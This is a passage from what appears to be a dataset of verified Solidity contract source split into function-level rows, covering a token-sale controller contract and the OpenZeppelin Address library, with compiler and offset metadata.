assembly { size := extcodesize(_addr) } return (size > 0); } function claimTokens(address[] tokens) onlyController public { address _token; uint256 balance; for(uint256 i; i<tokens.length; i++){ _token = tokens[i]; if (_token == 0x0) { balance = address(this).balance; if(balance > 0){ msg.sender.transfer(balance); } }else{ ERC20Token token = ERC20Token(_token); balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); emit ClaimedTokens(_token, msg.sender, balance); } } } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }
fixFunding
function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public { require(_owner.length == _value.length, "length of address is different with value"); require(_steps.length == _percents.length, "length of steps is different with percents"); address ownerNow; uint256 valueNow; for(uint i=0; i<_owner.length; i++){ ownerNow = _owner[i]; valueNow = _value[i]; require(tokenContract.generateTokens(ownerNow, valueNow), "generateTokens executed error"); //按需冻结投资人资金 //freezeAccount(_owner, tokenValue1, tokenValue2); uint256[] memory valueArr = new uint256[](_steps.length); //内层循环必须初始化值,不然第二次执行时,不再初始化,导致值错误而不进入循环体 for(uint j=0; j<_steps.length; j++){ valueArr[j] = valueNow*_percents[j]/100; } tokenContract.freeze(ownerNow, valueArr, _steps); } }
/// @dev `doPayment()` is an internal function that sends the ether that this /// contract receives to the `vault` and creates tokens in the address of the /// `_owner` assuming the PreTokenSale is still accepting funds /// @param _owner The address that will hold the newly created tokens
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3
{ "func_code_index": [ 2872, 3878 ] }
59,343
SomeController
SomeController.sol
0xe265cd62c7cb8f20f31789f7f12edb850caca294
Solidity
SomeController
contract SomeController is Controlled { using SafeMath for uint256; bool public paused; //uint256 public startFundingTime; //uint256 public endFundingTime; uint256 public softCap; //软顶 uint256 public hardCap = 5000*10**18; //硬顶 uint256 public minFunding = 10*10**18; //最低起投额 //uint256 public maximumFunding; //最高投资额 uint256 public tokensPerEther1 = 128000; //比例 uint256 public tokensPerEther2 = 91500; //比例 uint256 public totalCollected; Token public tokenContract; bool public finalized = false; bool public allowChange = true; address private vaultAddress; bool private initialed = false; event Payment(address indexed _sender, uint256 _ethAmount, uint256 _tokenAmount); event Info256(string name, uint256 msg); event LastFund(uint256 funding, uint256 backValue); constructor(address tokenAddr) public { tokenContract = Token(tokenAddr); } function setLockStep(uint8[] steps, uint[] times) onlyController public { require(steps.length == times.length, "params length different"); for(uint i; i<steps.length; i++){ tokenContract.addLockStep(steps[i], times[i]); } } /** * @notice Notifies the controller about a transfer, for this PreTokenSale all transfers are allowed by default and no extra notifications are needed * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint _amount) public view returns(bool){ if ( _from == vaultAddress) { return true; } _to; _amount; return false; } /** * @notice Notifies the controller about an approval, for this PreTokenSale all * approvals are allowed by default and no extra notifications are needed * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */ function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){ if ( _owner == vaultAddress ) { return true; } _spender; _amount; return false; } /// @dev `doPayment()` is an internal function that sends the ether that this /// contract receives to the `vault` and creates tokens in the address of the /// `_owner` assuming the PreTokenSale is still accepting funds /// @param _owner The address that will hold the newly created tokens function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public { require(_owner.length == _value.length, "length of address is different with value"); require(_steps.length == _percents.length, "length of steps is different with percents"); address ownerNow; uint256 valueNow; for(uint i=0; i<_owner.length; i++){ ownerNow = _owner[i]; valueNow = _value[i]; require(tokenContract.generateTokens(ownerNow, valueNow), "generateTokens executed error"); //按需冻结投资人资金 //freezeAccount(_owner, tokenValue1, tokenValue2); uint256[] memory valueArr = new uint256[](_steps.length); //内层循环必须初始化值,不然第二次执行时,不再初始化,导致值错误而不进入循环体 for(uint j=0; j<_steps.length; j++){ valueArr[j] = valueNow*_percents[j]/100; } tokenContract.freeze(ownerNow, valueArr, _steps); } } function changeTokenController(address _newController) onlyController public { tokenContract.changeController(_newController); } /** * 修改所控 Token 合约 */ function changeToken(address _newToken) onlyController public { tokenContract = Token(_newToken); } function changeVault(address _newVaultAddress) onlyController public { vaultAddress = _newVaultAddress; } /// @notice Pauses the contribution if there is any issue function pauseContribution() onlyController public { paused = true; } /// @notice Resumes the contribution function resumeContribution() onlyController public { paused = false; } modifier notPaused() { require(!paused); _; } // /** // * 修改Token兑换比率 // */ // function changeTokensPerEther(uint256 _newRate) onlyController public { // require(transfersEnabled==false); // require(_newRate>0); // tokensPerEther = _newRate; // transfersEnabled = true; // } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) { return false; } uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } function claimTokens(address[] tokens) onlyController public { address _token; uint256 balance; for(uint256 i; i<tokens.length; i++){ _token = tokens[i]; if (_token == 0x0) { balance = address(this).balance; if(balance > 0){ msg.sender.transfer(balance); } }else{ ERC20Token token = ERC20Token(_token); balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); emit ClaimedTokens(_token, msg.sender, balance); } } } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }
changeToken
function changeToken(address _newToken) onlyController public { tokenContract = Token(_newToken); }
/** * 修改所控 Token 合约 */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3
{ "func_code_index": [ 4071, 4189 ] }
59,344
SomeController
SomeController.sol
0xe265cd62c7cb8f20f31789f7f12edb850caca294
Solidity
SomeController
contract SomeController is Controlled { using SafeMath for uint256; bool public paused; //uint256 public startFundingTime; //uint256 public endFundingTime; uint256 public softCap; //软顶 uint256 public hardCap = 5000*10**18; //硬顶 uint256 public minFunding = 10*10**18; //最低起投额 //uint256 public maximumFunding; //最高投资额 uint256 public tokensPerEther1 = 128000; //比例 uint256 public tokensPerEther2 = 91500; //比例 uint256 public totalCollected; Token public tokenContract; bool public finalized = false; bool public allowChange = true; address private vaultAddress; bool private initialed = false; event Payment(address indexed _sender, uint256 _ethAmount, uint256 _tokenAmount); event Info256(string name, uint256 msg); event LastFund(uint256 funding, uint256 backValue); constructor(address tokenAddr) public { tokenContract = Token(tokenAddr); } function setLockStep(uint8[] steps, uint[] times) onlyController public { require(steps.length == times.length, "params length different"); for(uint i; i<steps.length; i++){ tokenContract.addLockStep(steps[i], times[i]); } } /** * @notice Notifies the controller about a transfer, for this PreTokenSale all transfers are allowed by default and no extra notifications are needed * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint _amount) public view returns(bool){ if ( _from == vaultAddress) { return true; } _to; _amount; return false; } /** * @notice Notifies the controller about an approval, for this PreTokenSale all * approvals are allowed by default and no extra notifications are needed * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */ function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){ if ( _owner == vaultAddress ) { return true; } _spender; _amount; return false; } /// @dev `doPayment()` is an internal function that sends the ether that this /// contract receives to the `vault` and creates tokens in the address of the /// `_owner` assuming the PreTokenSale is still accepting funds /// @param _owner The address that will hold the newly created tokens function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public { require(_owner.length == _value.length, "length of address is different with value"); require(_steps.length == _percents.length, "length of steps is different with percents"); address ownerNow; uint256 valueNow; for(uint i=0; i<_owner.length; i++){ ownerNow = _owner[i]; valueNow = _value[i]; require(tokenContract.generateTokens(ownerNow, valueNow), "generateTokens executed error"); //按需冻结投资人资金 //freezeAccount(_owner, tokenValue1, tokenValue2); uint256[] memory valueArr = new uint256[](_steps.length); //内层循环必须初始化值,不然第二次执行时,不再初始化,导致值错误而不进入循环体 for(uint j=0; j<_steps.length; j++){ valueArr[j] = valueNow*_percents[j]/100; } tokenContract.freeze(ownerNow, valueArr, _steps); } } function changeTokenController(address _newController) onlyController public { tokenContract.changeController(_newController); } /** * 修改所控 Token 合约 */ function changeToken(address _newToken) onlyController public { tokenContract = Token(_newToken); } function changeVault(address _newVaultAddress) onlyController public { vaultAddress = _newVaultAddress; } /// @notice Pauses the contribution if there is any issue function pauseContribution() onlyController public { paused = true; } /// @notice Resumes the contribution function resumeContribution() onlyController public { paused = false; } modifier notPaused() { require(!paused); _; } // /** // * 修改Token兑换比率 // */ // function changeTokensPerEther(uint256 _newRate) onlyController public { // require(transfersEnabled==false); // require(_newRate>0); // tokensPerEther = _newRate; // transfersEnabled = true; // } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) { return false; } uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } function claimTokens(address[] tokens) onlyController public { address _token; uint256 balance; for(uint256 i; i<tokens.length; i++){ _token = tokens[i]; if (_token == 0x0) { balance = address(this).balance; if(balance > 0){ msg.sender.transfer(balance); } }else{ ERC20Token token = ERC20Token(_token); balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); emit ClaimedTokens(_token, msg.sender, balance); } } } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }
pauseContribution
function pauseContribution() onlyController public { paused = true; }
/// @notice Pauses the contribution if there is any issue
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3
{ "func_code_index": [ 4382, 4470 ] }
59,345
SomeController
SomeController.sol
0xe265cd62c7cb8f20f31789f7f12edb850caca294
Solidity
SomeController
contract SomeController is Controlled { using SafeMath for uint256; bool public paused; //uint256 public startFundingTime; //uint256 public endFundingTime; uint256 public softCap; //软顶 uint256 public hardCap = 5000*10**18; //硬顶 uint256 public minFunding = 10*10**18; //最低起投额 //uint256 public maximumFunding; //最高投资额 uint256 public tokensPerEther1 = 128000; //比例 uint256 public tokensPerEther2 = 91500; //比例 uint256 public totalCollected; Token public tokenContract; bool public finalized = false; bool public allowChange = true; address private vaultAddress; bool private initialed = false; event Payment(address indexed _sender, uint256 _ethAmount, uint256 _tokenAmount); event Info256(string name, uint256 msg); event LastFund(uint256 funding, uint256 backValue); constructor(address tokenAddr) public { tokenContract = Token(tokenAddr); } function setLockStep(uint8[] steps, uint[] times) onlyController public { require(steps.length == times.length, "params length different"); for(uint i; i<steps.length; i++){ tokenContract.addLockStep(steps[i], times[i]); } } /** * @notice Notifies the controller about a transfer, for this PreTokenSale all transfers are allowed by default and no extra notifications are needed * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint _amount) public view returns(bool){ if ( _from == vaultAddress) { return true; } _to; _amount; return false; } /** * @notice Notifies the controller about an approval, for this PreTokenSale all * approvals are allowed by default and no extra notifications are needed * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */ function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){ if ( _owner == vaultAddress ) { return true; } _spender; _amount; return false; } /// @dev `doPayment()` is an internal function that sends the ether that this /// contract receives to the `vault` and creates tokens in the address of the /// `_owner` assuming the PreTokenSale is still accepting funds /// @param _owner The address that will hold the newly created tokens function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public { require(_owner.length == _value.length, "length of address is different with value"); require(_steps.length == _percents.length, "length of steps is different with percents"); address ownerNow; uint256 valueNow; for(uint i=0; i<_owner.length; i++){ ownerNow = _owner[i]; valueNow = _value[i]; require(tokenContract.generateTokens(ownerNow, valueNow), "generateTokens executed error"); //按需冻结投资人资金 //freezeAccount(_owner, tokenValue1, tokenValue2); uint256[] memory valueArr = new uint256[](_steps.length); //内层循环必须初始化值,不然第二次执行时,不再初始化,导致值错误而不进入循环体 for(uint j=0; j<_steps.length; j++){ valueArr[j] = valueNow*_percents[j]/100; } tokenContract.freeze(ownerNow, valueArr, _steps); } } function changeTokenController(address _newController) onlyController public { tokenContract.changeController(_newController); } /** * 修改所控 Token 合约 */ function changeToken(address _newToken) onlyController public { tokenContract = Token(_newToken); } function changeVault(address _newVaultAddress) onlyController public { vaultAddress = _newVaultAddress; } /// @notice Pauses the contribution if there is any issue function pauseContribution() onlyController public { paused = true; } /// @notice Resumes the contribution function resumeContribution() onlyController public { paused = false; } modifier notPaused() { require(!paused); _; } // /** // * 修改Token兑换比率 // */ // function changeTokensPerEther(uint256 _newRate) onlyController public { // require(transfersEnabled==false); // require(_newRate>0); // tokensPerEther = _newRate; // transfersEnabled = true; // } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) { return false; } uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } function claimTokens(address[] tokens) onlyController public { address _token; uint256 balance; for(uint256 i; i<tokens.length; i++){ _token = tokens[i]; if (_token == 0x0) { balance = address(this).balance; if(balance > 0){ msg.sender.transfer(balance); } }else{ ERC20Token token = ERC20Token(_token); balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); emit ClaimedTokens(_token, msg.sender, balance); } } } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }
resumeContribution
function resumeContribution() onlyController public { paused = false; }
/// @notice Resumes the contribution
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3
{ "func_code_index": [ 4515, 4605 ] }
59,346
SomeController
SomeController.sol
0xe265cd62c7cb8f20f31789f7f12edb850caca294
Solidity
SomeController
contract SomeController is Controlled { using SafeMath for uint256; bool public paused; //uint256 public startFundingTime; //uint256 public endFundingTime; uint256 public softCap; //软顶 uint256 public hardCap = 5000*10**18; //硬顶 uint256 public minFunding = 10*10**18; //最低起投额 //uint256 public maximumFunding; //最高投资额 uint256 public tokensPerEther1 = 128000; //比例 uint256 public tokensPerEther2 = 91500; //比例 uint256 public totalCollected; Token public tokenContract; bool public finalized = false; bool public allowChange = true; address private vaultAddress; bool private initialed = false; event Payment(address indexed _sender, uint256 _ethAmount, uint256 _tokenAmount); event Info256(string name, uint256 msg); event LastFund(uint256 funding, uint256 backValue); constructor(address tokenAddr) public { tokenContract = Token(tokenAddr); } function setLockStep(uint8[] steps, uint[] times) onlyController public { require(steps.length == times.length, "params length different"); for(uint i; i<steps.length; i++){ tokenContract.addLockStep(steps[i], times[i]); } } /** * @notice Notifies the controller about a transfer, for this PreTokenSale all transfers are allowed by default and no extra notifications are needed * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint _amount) public view returns(bool){ if ( _from == vaultAddress) { return true; } _to; _amount; return false; } /** * @notice Notifies the controller about an approval, for this PreTokenSale all * approvals are allowed by default and no extra notifications are needed * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */ function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){ if ( _owner == vaultAddress ) { return true; } _spender; _amount; return false; } /// @dev `doPayment()` is an internal function that sends the ether that this /// contract receives to the `vault` and creates tokens in the address of the /// `_owner` assuming the PreTokenSale is still accepting funds /// @param _owner The address that will hold the newly created tokens function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public { require(_owner.length == _value.length, "length of address is different with value"); require(_steps.length == _percents.length, "length of steps is different with percents"); address ownerNow; uint256 valueNow; for(uint i=0; i<_owner.length; i++){ ownerNow = _owner[i]; valueNow = _value[i]; require(tokenContract.generateTokens(ownerNow, valueNow), "generateTokens executed error"); //按需冻结投资人资金 //freezeAccount(_owner, tokenValue1, tokenValue2); uint256[] memory valueArr = new uint256[](_steps.length); //内层循环必须初始化值,不然第二次执行时,不再初始化,导致值错误而不进入循环体 for(uint j=0; j<_steps.length; j++){ valueArr[j] = valueNow*_percents[j]/100; } tokenContract.freeze(ownerNow, valueArr, _steps); } } function changeTokenController(address _newController) onlyController public { tokenContract.changeController(_newController); } /** * 修改所控 Token 合约 */ function changeToken(address _newToken) onlyController public { tokenContract = Token(_newToken); } function changeVault(address _newVaultAddress) onlyController public { vaultAddress = _newVaultAddress; } /// @notice Pauses the contribution if there is any issue function pauseContribution() onlyController public { paused = true; } /// @notice Resumes the contribution function resumeContribution() onlyController public { paused = false; } modifier notPaused() { require(!paused); _; } // /** // * 修改Token兑换比率 // */ // function changeTokensPerEther(uint256 _newRate) onlyController public { // require(transfersEnabled==false); // require(_newRate>0); // tokensPerEther = _newRate; // transfersEnabled = true; // } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) { return false; } uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } function claimTokens(address[] tokens) onlyController public { address _token; uint256 balance; for(uint256 i; i<tokens.length; i++){ _token = tokens[i]; if (_token == 0x0) { balance = address(this).balance; if(balance > 0){ msg.sender.transfer(balance); } }else{ ERC20Token token = ERC20Token(_token); balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); emit ClaimedTokens(_token, msg.sender, balance); } } } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }
isContract
function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) { return false; } uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); }
/// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3
{ "func_code_index": [ 5144, 5412 ] }
59,347
Aeternalism
@openzeppelin/contracts/utils/Address.sol
0xd932ba8adf16009e5571648e070f9eebb2f259c0
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; }
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */
NatSpecMultiLine
v0.7.5+commit.eb77ed08
Unlicense
ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b
{ "func_code_index": [ 606, 1033 ] }
59,348
Aeternalism
@openzeppelin/contracts/utils/Address.sol
0xd932ba8adf16009e5571648e070f9eebb2f259c0
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); }
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */
NatSpecMultiLine
v0.7.5+commit.eb77ed08
Unlicense
ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b
{ "func_code_index": [ 1963, 2365 ] }
59,349
Aeternalism
@openzeppelin/contracts/utils/Address.sol
0xd932ba8adf16009e5571648e070f9eebb2f259c0
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * 